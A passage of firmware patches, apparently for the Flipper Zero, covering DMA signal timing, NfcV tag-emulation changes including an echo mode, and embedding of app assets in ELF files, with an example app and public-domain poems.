== 0) { + sequence->gpio_buff = sig->internals->gpio_buff; } - if(!sig) { - FURI_LOG_D( - TAG, - "digital_sequence_send: Signal at index %u, used at pos %lu is NULL, aborting", - signal_index, - pos); - break; - } - - /* if the first edge is handled by prolonging the last pulse of the previous signal, skip it here */ - reload->entries = sig->edge_cnt - (traded_first ? 1 : 0); - - memcpy( - reload->buffers[reload->current], - &sig->reload_reg_buff[traded_first ? 1 : 0], - reload->entries * sizeof(uint32_t)); - traded_first = false; - - /* when we are too late more than half a tick, make the first edge temporarily longer */ - if(remainder >= T_TIM_DIV2) { - remainder -= T_TIM; - reload->buffers[reload->current][0] += 1; - } - - /* update the total remainder */ - remainder += sig->internals->reload_reg_remainder; - - /* when a signal ends with the same level as the next signal begins, let the fist signal generate the whole pulse */ - if(sig_next) { - /* beware, we do not want the level after the last edge, but the last level before that edge */ - bool end_level = sig->start_level ^ ((sig->edge_cnt % 2) == 0); - - /* take from the next, add it to the first */ - if(end_level == sig_next->start_level) { - /* add the traded prolongation to the last pulse */ - reload->buffers[reload->current][reload->entries - 1] += - sig_next->reload_reg_buff[0]; - traded_first = true; + for(uint32_t pulse_pos = 0; pulse_pos < sig->internals->reload_reg_entries; pulse_pos++) { + if(traded_first) { + traded_first = false; + continue; } - } + uint32_t pulse_length = 0; + bool last_pulse = ((pulse_pos + 1) == sig->internals->reload_reg_entries); - /* transmit */ - bool success = digital_sequence_send_signal(sequence, sig); + pulse_length = sig->reload_reg_buff[pulse_pos]; - if(!success) { - break; + /* when we are too late more than half a tick, make the first edge temporarily longer */ + if(remainder >= T_TIM_DIV2) { + remainder -= T_TIM; + pulse_length += 1; + } + remainder += sig->internals->reload_reg_remainder; + + /* last pulse in that signal and have a next signal? */ + if(last_pulse) { + if((seq_pos + 1) < sequence->sequence_used) { + DigitalSignal* sig_next = sequence->signals[sequence->sequence[seq_pos + 1]]; + + /* when a signal ends with the same level as the next signal begins, let the fist signal generate the whole pulse */ + /* beware, we do not want the level after the last edge, but the last level before that edge */ + bool end_level = sig->start_level ^ ((sig->edge_cnt % 2) == 0); + + /* take from the next, add it to the current if they have the same level */ + if(end_level == sig_next->start_level) { + pulse_length += sig_next->reload_reg_buff[0]; + traded_first = true; + } + } + } + + digital_sequence_queue_pulse(sequence, pulse_length); + + /* start transmission when buffer was filled enough */ + bool start_send = sequence->dma_buffer->write_pos >= (sequence->dma_buffer->size - 4); + + /* or it was the last pulse */ + if(last_pulse && last_signal) { + start_send = true; + } + + /* start transmission */ + if(start_send && !dma_buffer->dma_active) { + digital_sequence_setup_dma(sequence); + digital_signal_setup_timer(); + + /* if the send time is specified, wait till the core timer passed beyond that time */ + if(sequence->send_time_active) { + sequence->send_time_active = false; + while(sequence->send_time - DWT->CYCCNT < 0x80000000) { + } + } + digital_signal_start_timer(); + dma_buffer->dma_active = true; + } } } /* wait until last dma transaction was finished */ - while(LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2)) { - } - - digital_signal_stop_timer(); - digital_signal_stop_dma(); + digital_sequence_finish(sequence); FURI_CRITICAL_EXIT(); return true; @@ -625,3 +645,14 @@ void digital_sequence_clear(DigitalSequence* sequence) { sequence->sequence_used = 0; } + +void digital_sequence_timebase_correction(DigitalSequence* sequence, float factor) { + for(uint32_t sig_pos = 0; sig_pos < sequence->signals_size; sig_pos++) { + DigitalSignal* signal = sequence->signals[sig_pos]; + + if(signal) { + signal->internals->factor = (uint32_t)(1024 * 1024 * factor); + digital_signal_prepare_arr(signal); + } + } +} diff --git a/lib/digital_signal/digital_signal.h b/lib/digital_signal/digital_signal.h index 2cb107486..40afb1e41 100644 --- a/lib/digital_signal/digital_signal.h +++ b/lib/digital_signal/digital_signal.h @@ -61,6 +61,7 @@ void digital_sequence_set_sendtime(DigitalSequence* sequence, uint32_t send_time void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index); bool digital_sequence_send(DigitalSequence* sequence); void digital_sequence_clear(DigitalSequence* sequence); +void digital_sequence_timebase_correction(DigitalSequence* sequence, float factor); #ifdef __cplusplus } From 437d26615a18b1d35638007f59dcfacb6335545a Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Sat, 4 Feb 2023 01:43:04 +0100 Subject: [PATCH 058/329] scale NfcV frequency a bit, add echo mode, fix signal level at the end --- lib/nfc/protocols/nfcv.c | 118 ++++++++++++++++++++++++++++++--------- lib/nfc/protocols/nfcv.h | 9 ++- 2 files changed, 100 insertions(+), 27 deletions(-) diff --git a/lib/nfc/protocols/nfcv.c b/lib/nfc/protocols/nfcv.c index e18552340..e7b6c761a 100644 --- a/lib/nfc/protocols/nfcv.c +++ b/lib/nfc/protocols/nfcv.c @@ -270,16 +270,12 @@ bool nfcv_emu_alloc_signals(NfcVEmuAir* air, NfcVEmuAirSignals* signals, uint32_ return false; } success &= digital_signal_append(signals->nfcv_resp_eof, signals->nfcv_resp_zero); - for(size_t i = 0; i < slowdown * 24; i++) { + for(size_t i = 0; i < slowdown * 23; i++) { success &= digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_pulse); } - for(size_t i = 0; i < slowdown * 3; i++) { - success &= digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_unmod); - } - /* add extra silence */ - success &= digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_unmod); - if(!success) { - return false; + /* we don't want to add the last level as we just want a transition to "unmodulated" again */ + for(size_t i = 0; i < slowdown; i++) { + success &= digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_half_pulse); } } return success; @@ -327,6 +323,18 @@ bool nfcv_emu_alloc(NfcVData* nfcv_data) { nfcv_data->emu_air.nfcv_resp_pulse->edge_cnt = 2; } + if(!nfcv_data->emu_air.nfcv_resp_half_pulse) { + /* modulated fc/32 or fc/8 pulse as building block */ + nfcv_data->emu_air.nfcv_resp_half_pulse = digital_signal_alloc(4); + if(!nfcv_data->emu_air.nfcv_resp_half_pulse) { + return false; + } + nfcv_data->emu_air.nfcv_resp_half_pulse->start_level = true; + nfcv_data->emu_air.nfcv_resp_half_pulse->edge_timings[0] = + (uint32_t)(NFCV_RESP_SUBC1_PULSE_32 * DIGITAL_SIGNAL_UNIT_S); + nfcv_data->emu_air.nfcv_resp_half_pulse->edge_cnt = 1; + } + bool success = true; success &= nfcv_emu_alloc_signals(&nfcv_data->emu_air, &nfcv_data->emu_air.signals_high, 1); success &= nfcv_emu_alloc_signals(&nfcv_data->emu_air, &nfcv_data->emu_air.signals_low, 4); @@ -387,6 +395,9 @@ void nfcv_emu_free(NfcVData* nfcv_data) { if(nfcv_data->emu_air.nfcv_resp_pulse) { digital_signal_free(nfcv_data->emu_air.nfcv_resp_pulse); } + if(nfcv_data->emu_air.nfcv_resp_half_pulse) { + digital_signal_free(nfcv_data->emu_air.nfcv_resp_half_pulse); + } if(nfcv_data->emu_air.nfcv_signal) { digital_sequence_free(nfcv_data->emu_air.nfcv_signal); } @@ -397,6 +408,7 @@ void nfcv_emu_free(NfcVData* nfcv_data) { nfcv_data->frame = NULL; nfcv_data->emu_air.nfcv_resp_unmod = NULL; nfcv_data->emu_air.nfcv_resp_pulse = NULL; + nfcv_data->emu_air.nfcv_resp_half_pulse = NULL; nfcv_data->emu_air.nfcv_signal = NULL; nfcv_data->emu_air.reader_signal = NULL; @@ -490,6 +502,18 @@ void nfcv_emu_handle_packet( return; } + if(nfcv_data->echo_mode) { + nfcv_emu_send( + tx_rx, + nfcv_data, + nfcv_data->frame, + nfcv_data->frame_length, + NfcVSendFlagsSof | NfcVSendFlagsHighRate | NfcVSendFlagsEof, + ctx->send_time); + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "ECHO data"); + return; + } + /* parse the frame data for the upcoming part 3 handling */ ctx->flags = nfcv_data->frame[0]; ctx->command = nfcv_data->frame[1]; @@ -500,7 +524,7 @@ void nfcv_emu_handle_packet( ctx->address_offset = 2 + (ctx->advanced ? 1 : 0); ctx->payload_offset = ctx->address_offset + (ctx->addressed ? 8 : 0); ctx->response_flags = NfcVSendFlagsSof | NfcVSendFlagsCrc | NfcVSendFlagsEof; - ctx->send_time = nfcv_data->eof_timestamp + NFCV_FDT_FC(4130); + ctx->send_time = nfcv_data->eof_timestamp + NFCV_FDT_FC(4380); if(ctx->flags & RFAL_NFCV_REQ_FLAG_DATA_RATE) { ctx->response_flags |= NfcVSendFlagsHighRate; @@ -509,6 +533,11 @@ void nfcv_emu_handle_packet( ctx->response_flags |= NfcVSendFlagsTwoSubcarrier; } + if(ctx->payload_offset + 2 > nfcv_data->frame_length) { + FURI_LOG_D(TAG, "command 0x%02X, but packet is too short", ctx->command); + return; + } + /* standard behavior is implemented */ if(ctx->addressed) { uint8_t* address = &nfcv_data->frame[ctx->address_offset]; @@ -681,11 +710,7 @@ void nfcv_emu_handle_packet( blocks = nfcv_data->frame[ctx->payload_offset + 1] + 1; } - if(block + blocks > nfcv_data->block_num) { - ctx->response_buffer[0] = ISO15693_ERROR_CMD_NOT_REC; - nfcv_emu_send( - tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); - } else { + if(block + blocks <= nfcv_data->block_num) { uint8_t buffer_pos = 0; ctx->response_buffer[buffer_pos++] = ISO15693_NOERROR; @@ -719,31 +744,30 @@ void nfcv_emu_handle_packet( case ISO15693_WRITE_MULTI_BLOCK: case ISO15693_WRITEBLOCK: { - uint8_t block = nfcv_data->frame[ctx->payload_offset]; uint8_t blocks = 1; - uint8_t data_pos = 1; + uint8_t block = nfcv_data->frame[ctx->payload_offset]; + uint8_t data_pos = ctx->payload_offset + 1; if(ctx->command == ISO15693_WRITE_MULTI_BLOCK) { - blocks = nfcv_data->frame[ctx->payload_offset + 1] + 1; + blocks = nfcv_data->frame[data_pos] + 1; data_pos++; } - uint8_t* data = &nfcv_data->frame[ctx->payload_offset + data_pos]; + uint8_t* data = &nfcv_data->frame[data_pos]; uint32_t data_len = nfcv_data->block_size * blocks; - if(block + blocks > nfcv_data->block_num || - ctx->payload_offset + data_len + 2 > nfcv_data->frame_length) { - ctx->response_buffer[0] = ISO15693_ERROR_CMD_NOT_REC; - } else { + if((block + blocks) <= nfcv_data->block_num && + (data_pos + data_len + 2) == nfcv_data->frame_length) { ctx->response_buffer[0] = ISO15693_NOERROR; memcpy( &nfcv_data->data[nfcv_data->block_size * block], - &nfcv_data->frame[ctx->payload_offset + data_pos], + &nfcv_data->frame[data_pos], data_len); nfcv_data->modified = true; + + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); } - nfcv_emu_send( - tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); if(ctx->command == ISO15693_WRITE_MULTI_BLOCK) { snprintf( @@ -782,6 +806,27 @@ void nfcv_emu_handle_packet( break; } + case ISO15693_CUST_ECHO_MODE: { + ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_data->echo_mode = true; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "ECHO mode"); + break; + } + + case ISO15693_CUST_ECHO_DATA: { + nfcv_emu_send( + tx_rx, + nfcv_data, + &nfcv_data->frame[ctx->payload_offset], + nfcv_data->frame_length - ctx->payload_offset - 2, + NfcVSendFlagsSof | NfcVSendFlagsHighRate | NfcVSendFlagsEof, + ctx->send_time); + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "ECHO data"); + break; + } + default: snprintf( nfcv_data->last_command, @@ -1112,6 +1157,8 @@ bool nfcv_emu_loop( uint32_t byte_value = 0; uint32_t bits_received = 0; uint32_t timeout = timeout_ms * 1000; + uint32_t sof_timestamp = 0; + uint32_t eof_timestamp = 0; bool wait_for_pulse = false; if(!nfcv_data->ready) { @@ -1153,6 +1200,7 @@ bool nfcv_emu_loop( frame_state = NFCV_FRAME_STATE_SOF2; } else { frame_state = NFCV_FRAME_STATE_SOF1; + sof_timestamp = timestamp; break; } break; @@ -1186,6 +1234,7 @@ bool nfcv_emu_loop( break; } else if(periods == 2) { frame_state = NFCV_FRAME_STATE_EOF; + eof_timestamp = timestamp; break; } @@ -1226,6 +1275,7 @@ bool nfcv_emu_loop( periods_previous = 0; } else if(periods == 2) { frame_state = NFCV_FRAME_STATE_EOF; + eof_timestamp = timestamp; break; } else { frame_state = NFCV_FRAME_STATE_RESET; @@ -1259,6 +1309,24 @@ bool nfcv_emu_loop( tx_rx->sniff_rx(nfcv_data->frame, frame_pos * 8, false, tx_rx->sniff_context); } nfcv_data->emu_protocol_handler(tx_rx, nfc_data, nfcv_data); + + + /* determine readers fc by analyzing transmission duration */ + uint32_t duration = eof_timestamp - sof_timestamp; + float fc_1024 = (4.0f * duration) / (4 * (frame_pos * 4 + 1) + 1); + /* it should be 1024/fc in 64MHz ticks */ + float fact = fc_1024 / ((1000000.0f * 64.0f * 1024.0f) / NFCV_FC); + FURI_LOG_D(TAG, "1024/fc: %f -> %f %%", fc_1024, fact * 100); +#if 0 + if(fact > 0.99f && fact < 1.01f) { + static float avg_err = 0.0f; + + avg_err = (avg_err * 15.0f + (fact - 1.0f)) / 16.0f; + FURI_LOG_D(TAG, " ==> set %f %%", (1.0f + avg_err) * 100); + digital_sequence_timebase_correction(nfcv_data->emu_air.nfcv_signal, 1.0f + avg_err); + } +#endif + pulse_reader_start(nfcv_data->emu_air.reader_signal); ret = true; } else { diff --git a/lib/nfc/protocols/nfcv.h b/lib/nfc/protocols/nfcv.h index f1d6e0127..56e37f525 100644 --- a/lib/nfc/protocols/nfcv.h +++ b/lib/nfc/protocols/nfcv.h @@ -12,7 +12,7 @@ extern "C" { #endif -#define NFCV_FC (13560000.0f) /* MHz */ +#define NFCV_FC (13560000.0f / 0.9998f) /* MHz */ #define NFCV_RESP_SUBC1_PULSE_32 (1.0f / (NFCV_FC / 32) / 2.0f) /* 1.1799 µs */ #define NFCV_RESP_SUBC1_UNMOD_256 (256.0f / NFCV_FC) /* 18.8791 µs */ @@ -37,7 +37,7 @@ extern "C" { /* helpers to calculate the send time based on DWT->CYCCNT */ #define NFCV_FDT_USEC(usec) (usec * 64) -#define NFCV_FDT_FC(ticks) (ticks * 6400 / 1356) +#define NFCV_FDT_FC(ticks) ((ticks)*6400 / 1356) #define NFCV_FRAME_STATE_SOF1 0 #define NFCV_FRAME_STATE_SOF2 1 @@ -73,6 +73,9 @@ extern "C" { #define ISO15693_GET_SYSTEM_INFO 0x2B #define ISO15693_READ_MULTI_SECSTATUS 0x2C +#define ISO15693_CUST_ECHO_MODE 0xDE +#define ISO15693_CUST_ECHO_DATA 0xDF + /* ISO15693 RESPONSE ERROR CODES */ #define ISO15693_NOERROR 0x00 #define ISO15693_ERROR_CMD_NOT_SUP 0x01 // Command not supported @@ -139,6 +142,7 @@ typedef struct { typedef struct { PulseReader* reader_signal; DigitalSignal* nfcv_resp_pulse; /* pulse length, fc/32 */ + DigitalSignal* nfcv_resp_half_pulse; /* half pulse length, fc/32 */ DigitalSignal* nfcv_resp_unmod; /* unmodulated length 256/fc */ NfcVEmuAirSignals signals_high; NfcVEmuAirSignals signals_low; @@ -185,6 +189,7 @@ typedef struct { bool modified; bool ready; + bool echo_mode; /* specfic variant infos */ NfcVSubtype sub_type; From 4fd043398a17b3965b7045c711fc5e36dbce984a Mon Sep 17 00:00:00 2001 From: Sergey Gavrilov Date: Thu, 9 Mar 2023 18:01:53 +0300 Subject: [PATCH 059/329] Embed assets in elf file (#2466) * FBT: file_assets generator * Elf file: process manifest section externally * FBT, file_assets generator: add assets signature * Storage: assets path alias * Flipper application: assets unpacker * Apps, Storage: use '/data' alias for apps data * Storage: copy file to file * Assets: log flag, fixes * Update f18 api * Assets: asserts * Assets: fix signature_data check * App assets: example * Example assets: fix folder structure in readme * Assets: fix error handling * Assets builder: use ansii instead of utf-8, use .fapassets section instead of .fapfiles, add assets path to signature * Elf file: comment strange places * Storage: totaly optimized storage_file_copy_to_file --- .../debug/unit_tests/storage/storage_test.c | 6 +- .../examples/example_apps_assets/README.md | 58 +++ .../example_apps_assets/application.fam | 10 + .../example_apps_assets/example_apps_assets.c | 48 +++ .../files/poems/a jelly-fish.txt | 24 ++ .../files/poems/my shadow.txt | 23 ++ .../files/poems/theme in yellow.txt | 19 + .../example_apps_assets/files/test_asset.txt | 1 + .../examples/example_apps_data/README.md | 12 +- applications/services/storage/storage.h | 15 +- .../services/storage/storage_external_api.c | 21 + applications/services/storage/storage_i.h | 1 + .../services/storage/storage_processing.c | 14 +- firmware/targets/f18/api_symbols.csv | 3 +- firmware/targets/f7/api_symbols.csv | 3 +- lib/flipper_application/application_assets.c | 361 ++++++++++++++++++ lib/flipper_application/application_assets.h | 17 + lib/flipper_application/elf/elf_file.c | 116 +++--- lib/flipper_application/elf/elf_file.h | 34 +- lib/flipper_application/flipper_application.c | 78 +++- scripts/fbt/appmanifest.py | 1 + scripts/fbt_tools/fbt_extapps.py | 185 ++++++++- 22 files changed, 937 insertions(+), 113 deletions(-) create mode 100644 applications/examples/example_apps_assets/README.md create mode 100644 applications/examples/example_apps_assets/application.fam create mode 100644 applications/examples/example_apps_assets/example_apps_assets.c create mode 100644 applications/examples/example_apps_assets/files/poems/a jelly-fish.txt create mode 100644 applications/examples/example_apps_assets/files/poems/my shadow.txt create mode 100644 applications/examples/example_apps_assets/files/poems/theme in yellow.txt create mode 100644 applications/examples/example_apps_assets/files/test_asset.txt create mode 100644 lib/flipper_application/application_assets.c create mode 100644 lib/flipper_application/application_assets.h diff --git a/applications/debug/unit_tests/storage/storage_test.c b/applications/debug/unit_tests/storage/storage_test.c index 582be7902..f0b45c598 100644 --- a/applications/debug/unit_tests/storage/storage_test.c +++ b/applications/debug/unit_tests/storage/storage_test.c @@ -362,8 +362,8 @@ static size_t storage_test_apps_count = COUNT_OF(storage_test_apps); static int32_t storage_test_app(void* arg) { UNUSED(arg); Storage* storage = furi_record_open(RECORD_STORAGE); - storage_common_remove(storage, "/app/test"); - int32_t ret = storage_file_create(storage, "/app/test", "test"); + storage_common_remove(storage, "/data/test"); + int32_t ret = storage_file_create(storage, "/data/test", "test"); furi_record_close(RECORD_STORAGE); return ret; } @@ -401,7 +401,7 @@ MU_TEST(test_storage_data_path) { Storage* storage = furi_record_open(RECORD_STORAGE); File* file = storage_file_alloc(storage); - mu_check(storage_dir_open(file, "/app")); + mu_check(storage_dir_open(file, "/data")); mu_check(storage_dir_close(file)); storage_file_free(file); diff --git a/applications/examples/example_apps_assets/README.md b/applications/examples/example_apps_assets/README.md new file mode 100644 index 000000000..a24183e88 --- /dev/null +++ b/applications/examples/example_apps_assets/README.md @@ -0,0 +1,58 @@ +# Apps Assets folder Example + +This example shows how to use the Apps Assets folder to store data that is not part of the application itself, but is required for its operation, and that data is provided with the application. + +## What is the Apps Assets Folder? + +The **Apps Assets** folder is a folder where external applications unpack their assets. + +The path to the current application folder is related to the `appid` of the app. The `appid` is used to identify the app in the app store and is stored in the `application.fam` file. +The Apps Assets folder is located only on the external storage, the SD card. + +For example, if the `appid` of the app is `snake_game`, the path to the Apps Assets folder will be `/ext/apps_assets/snake_game`. But using raw paths is not recommended, because the path to the Apps Assets folder can change in the future. Use the `/assets` alias instead. + +## How to get the path to the Apps Assets folder? + +You can use `/assets` alias to get the path to the current application data folder. For example, if you want to open a file `database.txt` in the Apps Assets folder, you can use the next path: `/data/database.txt`. But this way is not recommended, because even the `/assets` alias can change in the future. + +We recommend to use the `APP_ASSETS_PATH` macro to get the path to the Apps Assets folder. For example, if you want to open a file `database.txt` in the Apps Assets folder, you can use the next path: `APP_ASSETS_PATH("database.txt")`. + +## What is the difference between the Apps Assets folder and the Apps Data folder? + +The Apps Assets folder is used to store the data provided with the application. For example, if you want to create a game, you can store game levels (contant data) in the Apps Assets folder. + +The Apps Data folder is used to store data generated by the application. For example, if you want to create a game, you can save the progress of the game (user-generated data) in the Apps Data folder. + +## How to provide the data with the app? + +To provide data with an application, you need to create a folder inside your application folder (eg "files") and place the data in it. After that, you need to add `fap_file_assets="files"` to your application.fam file. + +For example, if you want to provide game levels with the application, you need to create a "levels" folder inside the "files" folder and put the game levels in it. After that, you need to add `fap_file_assets="files"` to your application.fam file. The final application folder structure will look like this: + +``` +snake_game +├── application.fam +├── snake_game.c +└── files + └── levels + ├── level1.txt + ├── level2.txt + └── level3.txt +``` + +When app is launched, the `files` folder will be unpacked to the Apps Assets folder. The final structure of the Apps Assets folder will look like this: + +``` +/assets +├── .assets.signature +└── levels + ├── level1.txt + ├── level2.txt + └── level3.txt +``` + +## When will the data be unpacked? + +The data is unpacked when the application starts, if the application is launched for the first time, or if the data within the application is updated. + +When an application is compiled, the contents of the "files" folder are hashed and stored within the application itself. When the application starts, this hash is compared to the hash stored in the `.assets.signature` file. If the hashes differ or the `.assets.signature` file does not exist, the application folder is deleted and the new data is unpacked. \ No newline at end of file diff --git a/applications/examples/example_apps_assets/application.fam b/applications/examples/example_apps_assets/application.fam new file mode 100644 index 000000000..4f324277d --- /dev/null +++ b/applications/examples/example_apps_assets/application.fam @@ -0,0 +1,10 @@ +App( + appid="example_apps_assets", + name="Example: Apps Assets", + apptype=FlipperAppType.EXTERNAL, + entry_point="example_apps_assets_main", + requires=["gui"], + stack_size=4 * 1024, + fap_category="Examples", + fap_file_assets="files", +) diff --git a/applications/examples/example_apps_assets/example_apps_assets.c b/applications/examples/example_apps_assets/example_apps_assets.c new file mode 100644 index 000000000..f2d0272f0 --- /dev/null +++ b/applications/examples/example_apps_assets/example_apps_assets.c @@ -0,0 +1,48 @@ +#include +#include +#include +#include + +// Define log tag +#define TAG "example_apps_assets" + +static void example_apps_data_print_file_content(Storage* storage, const char* path) { + Stream* stream = file_stream_alloc(storage); + FuriString* line = furi_string_alloc(); + + FURI_LOG_I(TAG, "----------------------------------------"); + FURI_LOG_I(TAG, "File \"%s\" content:", path); + if(file_stream_open(stream, path, FSAM_READ, FSOM_OPEN_EXISTING)) { + while(stream_read_line(stream, line)) { + furi_string_replace_all(line, "\r", ""); + furi_string_replace_all(line, "\n", ""); + FURI_LOG_I(TAG, "%s", furi_string_get_cstr(line)); + } + } else { + FURI_LOG_E(TAG, "Failed to open file"); + } + FURI_LOG_I(TAG, "----------------------------------------"); + + furi_string_free(line); + file_stream_close(stream); + stream_free(stream); +} + +// Application entry point +int32_t example_apps_assets_main(void* p) { + // Mark argument as unused + UNUSED(p); + + // Open storage + Storage* storage = furi_record_open(RECORD_STORAGE); + + example_apps_data_print_file_content(storage, APP_ASSETS_PATH("test_asset.txt")); + example_apps_data_print_file_content(storage, APP_ASSETS_PATH("poems/a jelly-fish.txt")); + example_apps_data_print_file_content(storage, APP_ASSETS_PATH("poems/theme in yellow.txt")); + example_apps_data_print_file_content(storage, APP_ASSETS_PATH("poems/my shadow.txt")); + + // Close storage + furi_record_close(RECORD_STORAGE); + + return 0; +} diff --git a/applications/examples/example_apps_assets/files/poems/a jelly-fish.txt b/applications/examples/example_apps_assets/files/poems/a jelly-fish.txt new file mode 100644 index 000000000..46a5a4dff --- /dev/null +++ b/applications/examples/example_apps_assets/files/poems/a jelly-fish.txt @@ -0,0 +1,24 @@ +A Jelly-Fish by Marianne Moore + +Visible, invisible, +A fluctuating charm, +An amber-colored amethyst +Inhabits it; your arm +Approaches, and +It opens and +It closes; +You have meant +To catch it, +And it shrivels; +You abandon +Your intent— +It opens, and it +Closes and you +Reach for it— +The blue +Surrounding it +Grows cloudy, and +It floats away +From you. + +source: "https://poets.org/anthology/poems-your-poetry-project-public-domain" \ No newline at end of file diff --git a/applications/examples/example_apps_assets/files/poems/my shadow.txt b/applications/examples/example_apps_assets/files/poems/my shadow.txt new file mode 100644 index 000000000..e113e7df5 --- /dev/null +++ b/applications/examples/example_apps_assets/files/poems/my shadow.txt @@ -0,0 +1,23 @@ +My Shadow by Robert Louis Stevenson + +I have a little shadow that goes in and out with me, +And what can be the use of him is more than I can see. +He is very, very like me from the heels up to the head; +And I see him jump before me, when I jump into my bed. + +The funniest thing about him is the way he likes to grow— +Not at all like proper children, which is always very slow; +For he sometimes shoots up taller like an India-rubber ball, +And he sometimes gets so little that there’s none of him at all. + +He hasn’t got a notion of how children ought to play, +And can only make a fool of me in every sort of way. +He stays so close beside me, he’s a coward you can see; +I’d think shame to stick to nursie as that shadow sticks to me! + +One morning, very early, before the sun was up, +I rose and found the shining dew on every buttercup; +But my lazy little shadow, like an arrant sleepy-head, +Had stayed at home behind me and was fast asleep in bed. + +source: "https://poets.org/anthology/poems-your-poetry-project-public-domain" \ No newline at end of file diff --git a/applications/examples/example_apps_assets/files/poems/theme in yellow.txt b/applications/examples/example_apps_assets/files/poems/theme in yellow.txt new file mode 100644 index 000000000..f392287bd --- /dev/null +++ b/applications/examples/example_apps_assets/files/poems/theme in yellow.txt @@ -0,0 +1,19 @@ +Theme in Yellow by Carl Sandburg + +I spot the hills +With yellow balls in autumn. +I light the prairie cornfields +Orange and tawny gold clusters +And I am called pumpkins. +On the last of October +When dusk is fallen +Children join hands +And circle round me +Singing ghost songs +And love to the harvest moon; +I am a jack-o'-lantern +With terrible teeth +And the children know +I am fooling. + +source: "https://poets.org/anthology/poems-your-poetry-project-public-domain" \ No newline at end of file diff --git a/applications/examples/example_apps_assets/files/test_asset.txt b/applications/examples/example_apps_assets/files/test_asset.txt new file mode 100644 index 000000000..1adcb55ee --- /dev/null +++ b/applications/examples/example_apps_assets/files/test_asset.txt @@ -0,0 +1 @@ +## This is test file content \ No newline at end of file diff --git a/applications/examples/example_apps_data/README.md b/applications/examples/example_apps_data/README.md index fd8666077..c70ac055a 100644 --- a/applications/examples/example_apps_data/README.md +++ b/applications/examples/example_apps_data/README.md @@ -9,10 +9,16 @@ The **Apps Data** folder is a folder used to store data for external apps that a The path to the current application folder is related to the `appid` of the app. The `appid` is used to identify the app in the app store and is stored in the `application.fam` file. The Apps Data folder is located only on the external storage, the SD card. -For example, if the `appid` of the app is `snake_game`, the path to the Apps Data folder will be `/ext/apps_data/snake_game`. But using raw paths is not recommended, because the path to the Apps Data folder can change in the future. Use the `/app` alias instead. +For example, if the `appid` of the app is `snake_game`, the path to the Apps Data folder will be `/ext/apps_data/snake_game`. But using raw paths is not recommended, because the path to the Apps Data folder can change in the future. Use the `/data` alias instead. ## How to get the path to the Apps Data folder? -You can use `/app` alias to get the path to the current application data folder. For example, if you want to open a file `config.txt` in the Apps Data folder, you can use the next path: `/app/config.txt`. But this way is not recommended, because even the `/app` alias can change in the future. +You can use `/data` alias to get the path to the current application data folder. For example, if you want to open a file `config.txt` in the Apps Data folder, you can use the next path: `/data/config.txt`. But this way is not recommended, because even the `/data` alias can change in the future. -We recommend to use the `APP_DATA_PATH` macro to get the path to the Apps Data folder. For example, if you want to open a file `config.txt` in the Apps Data folder, you can use the next path: `APP_DATA_PATH("config.txt")`. \ No newline at end of file +We recommend to use the `APP_DATA_PATH` macro to get the path to the Apps Data folder. For example, if you want to open a file `config.txt` in the Apps Data folder, you can use the next path: `APP_DATA_PATH("config.txt")`. + +## What is the difference between the Apps Assets folder and the Apps Data folder? + +The Apps Assets folder is used to store the data provided with the application. For example, if you want to create a game, you can store game levels (contant data) in the Apps Assets folder. + +The Apps Data folder is used to store data generated by the application. For example, if you want to create a game, you can save the progress of the game (user-generated data) in the Apps Data folder. \ No newline at end of file diff --git a/applications/services/storage/storage.h b/applications/services/storage/storage.h index e35b8164c..a1267575f 100644 --- a/applications/services/storage/storage.h +++ b/applications/services/storage/storage.h @@ -10,12 +10,14 @@ extern "C" { #define STORAGE_INT_PATH_PREFIX "/int" #define STORAGE_EXT_PATH_PREFIX "/ext" #define STORAGE_ANY_PATH_PREFIX "/any" -#define STORAGE_APP_DATA_PATH_PREFIX "/app" +#define STORAGE_APP_DATA_PATH_PREFIX "/data" +#define STORAGE_APP_ASSETS_PATH_PREFIX "/assets" #define INT_PATH(path) STORAGE_INT_PATH_PREFIX "/" path #define EXT_PATH(path) STORAGE_EXT_PATH_PREFIX "/" path #define ANY_PATH(path) STORAGE_ANY_PATH_PREFIX "/" path #define APP_DATA_PATH(path) STORAGE_APP_DATA_PATH_PREFIX "/" path +#define APP_ASSETS_PATH(path) STORAGE_APP_ASSETS_PATH_PREFIX "/" path #define RECORD_STORAGE "storage" @@ -146,6 +148,17 @@ bool storage_file_eof(File* file); */ bool storage_file_exists(Storage* storage, const char* path); +/** + * @brief Copy data from one opened file to another opened file + * Size bytes will be copied from current position of source file to current position of destination file + * + * @param source source file + * @param destination destination file + * @param size size of data to copy + * @return bool success flag + */ +bool storage_file_copy_to_file(File* source, File* destination, uint32_t size); + /******************* Dir Functions *******************/ /** Opens a directory to get objects from it diff --git a/applications/services/storage/storage_external_api.c b/applications/services/storage/storage_external_api.c index 8d8220f81..ffc3da4bc 100644 --- a/applications/services/storage/storage_external_api.c +++ b/applications/services/storage/storage_external_api.c @@ -9,6 +9,7 @@ #define MAX_NAME_LENGTH 256 #define MAX_EXT_LEN 16 +#define FILE_BUFFER_SIZE 512 #define TAG "StorageAPI" @@ -251,6 +252,26 @@ bool storage_file_exists(Storage* storage, const char* path) { return exist; } +bool storage_file_copy_to_file(File* source, File* destination, uint32_t size) { + uint8_t* buffer = malloc(FILE_BUFFER_SIZE); + + while(size) { + uint32_t read_size = size > FILE_BUFFER_SIZE ? FILE_BUFFER_SIZE : size; + if(storage_file_read(source, buffer, read_size) != read_size) { + break; + } + + if(storage_file_write(destination, buffer, read_size) != read_size) { + break; + } + + size -= read_size; + } + + free(buffer); + return size == 0; +} + /****************** DIR ******************/ static bool storage_dir_open_internal(File* file, const char* path) { diff --git a/applications/services/storage/storage_i.h 